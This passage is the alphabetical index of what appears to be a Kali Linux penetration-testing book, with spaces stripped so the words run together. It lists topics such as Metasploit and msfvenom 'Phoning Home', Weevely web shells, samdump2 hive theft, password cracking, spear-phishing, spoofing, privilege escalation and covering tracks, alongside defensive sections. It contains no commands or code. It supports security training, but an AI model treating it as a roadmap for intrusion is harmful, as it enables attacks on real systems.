used,formonitoringresourceuse/MonitoringresourceusewithHtop
IIfstructures
about/WorkingwithBooleanlogic,Understandingthedecisionpoints
imagefilesmounting/Mountingimagefiles
incrementerabout/Reviewingtheforloopstructure
internalcommand/GettinghelpinWeevelyIntrusionDetectionSystem(IDS)
about/Zenmapintrusiondetectionsystem(IDS)/PhoningHomewithMetasploitIPspoofing/Spoofingnetworktraffic
JJAD
executing/RunningJADURL/RunningJAD
Johnnyabout/MyfriendJohnnyusing/MyfriendJohnny
JohnnyCrackingTool/ExploitingpoorpatchmanagementJohntheRipper
about/JohntheRipper(commandline)using/JohntheRipper(commandline)
KKali
URL/Prerequisitesforinstallation,RunningKalifromtheliveCDexecuting/RunningKalifromtheliveCDused,forForensics/StartingKaliforForensics
Kali2.xMainMenu,customizing/AddingatooltothemainmenuinKali2.x
KaliLinuxinstalling,toencryptedUSBdrive/InstallingKaliLinuxtoanencryptedUSBdriveprerequisites,forinstallation/Prerequisitesforinstallationbootingup/BootingUpconfiguration,installing/Installingconfigurationdrive,settingup/Settingupthedriveinstallation,booting/BootingyournewinstallationofKaliservices,executing/RunningservicesonKaliLinuxsecuritytools/ExploringtheKaliLinuxTop10andmore
KeepNoteabout/KeepNote–thestandalonedocumentorganizer,UsingUnicorn-Scanconfiguring/KeepNote–thestandalonedocumentorganizerusing/Usingadvancedfootprinting
LLeafpad
about/Gedit–theGnometexteditorLiveForensicmode
about/StartingKaliforForensicslocalprivilegeescalation
standalonetool,using/Localprivilegeescalationwithastandalonetool
LocalSecurityAuthority(LSA)/PhoningHomewithMetasploit
MMaltego
about/UsingMaltegousing/UsingMaltego
man-in-the-middleattack(MitM)/SniffingandspoofingnetworktrafficMetasploit
about/InstallingKaliLinuxtoanencryptedUSBdrive,Basicsniffingwithtcpdumpversion,selecting/ChoosingtherightversionofMetasploitstarting/StartingMetasploitused,forgainingaccess/GainingaccesswithMetasploitused,forPhoningHome/PhoningHomewithMetasploit
Meterpretersession/ExploitingpoorpatchmanagementmicoOLAP
URL/Basicsniffingwithtcpdumpmsfconsole/PhoningHomewithMetasploitmsfvenom/PhoningHomewithMetasploit
NNAC(NetworkAccessController)
cracking/CrackingtheNAC(NetworkAccessController)NetCat(Ncat)
used,formaintainingaccess/MaintainingaccesswithNcatNETUSEcommand/AbusingtheWindowsNETUSEcommandnetwork
mapping,topivot/Mappingthenetworktopivotnetworkfootprinting
about/Footprintingthenetworknetworkexploring,withNmap/ExploringthenetworkwithNmapZenmap/Zenmapnetworkrange,scanning/Scanninganetworkrange
networkrangedifferenceverbositymakes,viewing/Thedifferenceverbositymakesscanning/Scanninganetworkrange
NMapused,fordiscoveringnewmachines/DiscoveringnewmachineswithNMap
Nmapnetwork,exploring/ExploringthenetworkwithNmapURL,fordownloading/ExploringthenetworkwithNmapURL/Scanninganetworkrange
OObjectRelationalModel(ORM)/AvoidingSQLinjectionOffensivesSecurity'sexploit
referencelink/ReplacingtheexecutableOllyDbg
executing/RunningOllyDbgOpenVAS
about/RunningKalifromtheliveCD,AreturntoOpenVASsettingup/SettingupandconfiguringOpenVASconfiguring/SettingupandconfiguringOpenVASconsiderations/AreturntoOpenVASexecuting/AreturntoOpenVAS
OWASPSQLinjectionURL/AvoidingSQLinjection
OWASPTop10ProactiveControlsDocumentURL/Quicksolutionstocross-sitescripting
OWASPZAPused,forzingingWindowsservers/ZingingWindowsserverswithOWASPZAPusing,asattackproxy/UsingZAPasanattackproxyinterface,reading/ReadingtheZAPinterface
PPacketCaptureFile/Basicsniffingwithtcpdumppassphrase
about/Settingupthedrivepasswordattack
planning/PasswordattackplanningNTLMcode,cracking/CrackingtheNTLMcode(Revisited)passwordlists,using/Passwordlistspasswordlists,cleaning/Cleaningapasswordlist
PatervaURL/UsingMaltego
PaymentCardIndustryDigitalSecurityStandardabout/InstallingKaliLinuxtoanencryptedUSBdrive
persistentconnectionsabout/Maintainingaccess
PhoningHomeabout/Maintainingaccess
pivotabout/Usingthepivotusing/Usingthepivotnetwork,mapping/Mappingthenetworktopivot
poorpatchmanagementexploiting/Exploitingpoorpatchmanagement
privilegeescalationphysicalaccess,using/Escalatingprivilegeswithphysicalaccesssamdump2tool,usedforrobbinghives/RobbingtheHiveswithsamdump2registry,owingwithchntpw/Owningtheregistrywithchntpw
privilegesescalating,withphysicalaccess/Escalatingprivilegeswithphysicalaccess
proxyBurpSuite,usingas/UsingBurpSuiteasaProxy
proxylistener/UsingBurpSuiteasaProxy
RRadare2
executing/RunningRadare2about/RunningRadare2URL/RunningRadare2
Radare2toolsuiteabout/AdditionalmembersoftheRadare2toolsuiterasm2,executing/Runningrasm2rahash2,executing/Runningrahash2radiff2,executing/Runningradiff2rafind2,executing/Runningrafind2rax2,executing/Runningrax2
radiff2executing/Runningradiff2
rafind2executing/Runningrafind2
rahash2executing/Runningrahash2
rasm2executing/Runningrasm2
rax2executing/Runningrax2
rdesktopabout/AddingaWindowsuserfromthecommandline
remoteaccessmaintaining/Maintainingaccesstracks,covering/Coveringourtracksmaintaining,Ncatused/MaintainingaccesswithNcatMetasploit,usedforPhoningHome/PhoningHomewithMetasploit
resourceusemonitoring,withHtop/MonitoringresourceusewithHtop
reverseengineeringpracticing/Practicingreverseengineeringdebuggers,demystifying/Demystifyingdebuggersdisassemblers/Introductiontodisassemblerstools/Somemiscellaneousreverseengineeringtools
Radare2toolsuite/AdditionalmembersoftheRadare2toolsuitereverseengineeringtheory
about/Reverseengineeringtheorygeneraltheory/Onegeneraltheoryofreverseengineering
reverseengineeringtoolsabout/SomemiscellaneousreverseengineeringtoolsRadare2,executing/RunningRadare2
Robots.txt/ConceptofRobots.txt
Ssamdump2tool
used,forrobbinghiveregistry/RobbingtheHiveswithsamdump2securitytools
Aircrack-ng/ExploringtheKaliLinuxTop10andmoreBurpsuite/ExploringtheKaliLinuxTop10andmore(THC)Hydra/ExploringtheKaliLinuxTop10andmoreJohn(theRipper)/ExploringtheKaliLinuxTop10andmoreMaltego/ExploringtheKaliLinuxTop10andmoreMetasploitFramework/ExploringtheKaliLinuxTop10andmoreNMap/ExploringtheKaliLinuxTop10andmoreOwasp-ZAP/ExploringtheKaliLinuxTop10andmoreSqlMap/ExploringtheKaliLinuxTop10andmoreWireshark/ExploringtheKaliLinuxTop10andmore
Seigeabout/PuttingthenetworkunderSiege
servicesexecuting,onKaliLinux/RunningservicesonKaliLinux
servicescommandusing/Usingthehostsandservicescommands
SessionIDNumber/GrabbingsystemonthetargetSiegeengine
configuring/ConfiguringyourSiegeengineSimpleServiceDiscoveryProtocol(SSDP)
about/UsingUnicorn-ScanSleuthKitInformer
URL/DivingintoAutopsysniffingnetworktraffic
about/Sniffingandspoofingnetworktraffic,Sniffingnetworktraffictcpdump,basicsniffingwith/BasicsniffingwithtcpdumpwithWinDump/MorebasicsniffingwithWinDump(Windowstcpdump)packethunting,withWireshark/PackethuntingwithWiresharkpacket,dissecting/Dissectingthepacket,SwimmingwithWireshark
Social-EngineeringAttacks/CreatingaSpear-PhishingAttackwiththeSocialEngineeringToolkit
SocialEngineeringToolkit(SET)about/CreatingaSpear-PhishingAttackwiththeSocialEngineeringToolkitused,forcreatingSpear-PhishingAttack/CreatingaSpear-PhishingAttackwiththeSocialEngineeringToolkit
Spear-PhishingAttackVectorsoptions/CreatingaSpear-PhishingAttackwiththeSocialEngineeringToolkit
spidering/UsingZAPasanattackproxyspoofingnetworktraffic
about/Sniffingandspoofingnetworktraffic,Spoofingnetworktrafficemailspoofing/Spoofingnetworktrafficdomainspoofing/Spoofingnetworktrafficdomainerrorspoofing/SpoofingnetworktrafficIPspoofing/SpoofingnetworktrafficEttercap/EttercapEttercap,usingoncommandline/UsingEttercaponthecommandline
SQLinjectionavoiding/AvoidingSQLinjection
standalonetoolused,forlocalprivilegeescalation/Localprivilegeescalationwithastandalonetool
stress-testingWindowsabout/StresstestingWindowsDenial/DealingwithDenialnetwork,inSeige/PuttingthenetworkunderSiegeSiegeengine,configuring/ConfiguringyourSiegeengine
TTcpdump
URL/Basicsniffingwithtcpdumptechnicaldebt
about/DemystifyingdebuggersTerminator
configuring/Terminator–theterminalemulatorformultitaskinginstalling/Terminator–theterminalemulatorformultitasking
termsofservice(TOS)/CreatingaSpear-PhishingAttackwiththeSocialEngineeringToolkittestenvironment
settingup/Settingupatestenvironmentvictimmachine(s),creating/Creatingyourvictimmachine(s)testing/Testingyourtestingenvironment
testsreporting/Reportingthetestsreporting,withKeepNote/KeepNote–thestandalonedocumentorganizerreporting,withDradis/Dradis–theweb-baseddocumentorganizer
toolsselecting/Choosingtheappropriatetimeandtool
TransformApplicationServer(TAS)about/UsingMaltego
WWander/Basicsniffingwithtcpdumpwebscape
about/SurveyingthewebscapeRobots.txt/ConceptofRobots.txt.htaccess/Conceptof.htaccesscross-sitescripting,quicksolutions/Quicksolutionstocross-sitescriptingbufferoverflows,reducing/ReducingbufferoverflowsSQLinjection,avoiding/AvoidingSQLinjection
Weevelyabout/WeaselinginwithWeevely,PreparingtouseWeevelyusing,preparationsteps/PreparingtouseWeevelyagent,creating/Creatinganagenttesting,locally/TestingWeevelylocallytesting,onWindowsServer/TestingWeevelyonaWindowsservercommands/GettinghelpinWeevely
Weevely,testingonWindowsServerabout/TestingWeevelyonaWindowsserverhelpcommand,running/GettinghelpinWeevelysysteminfo,obtaining/Gettingthesysteminfofilesystemcommands,using/UsingfilesystemcommandsinWeevelywriting,intofiles/Writingintofiles
Whileloopstructure,reviewing/Reviewingawhileloopstructure
WindowsNETUSEcommandabusing/AbusingtheWindowsNETUSEcommandWindowsuser,addingfromcommandline/AddingaWindowsuserfromthecommandline
WindowsServerWeevely,testing/TestingWeevelyonaWindowsserver
Windowsuseradding,fromcommandline/AddingaWindowsuserfromthecommandline
WinDumpabout/MorebasicsniffingwithWinDump(Windowstcpdump)
Windump.exeURL/Basicsniffingwithtcpdump
WinPcap.exeURL/Basicsniffingwithtcpdump
Wiresharkabout/Basicsniffingwithtcpdumppackethuntingwith/PackethuntingwithWiresharkpacket,dissecting/Dissectingthepacket,SwimmingwithWireshark
workspacescreating/Creatingworkspacestoorganizeyourattack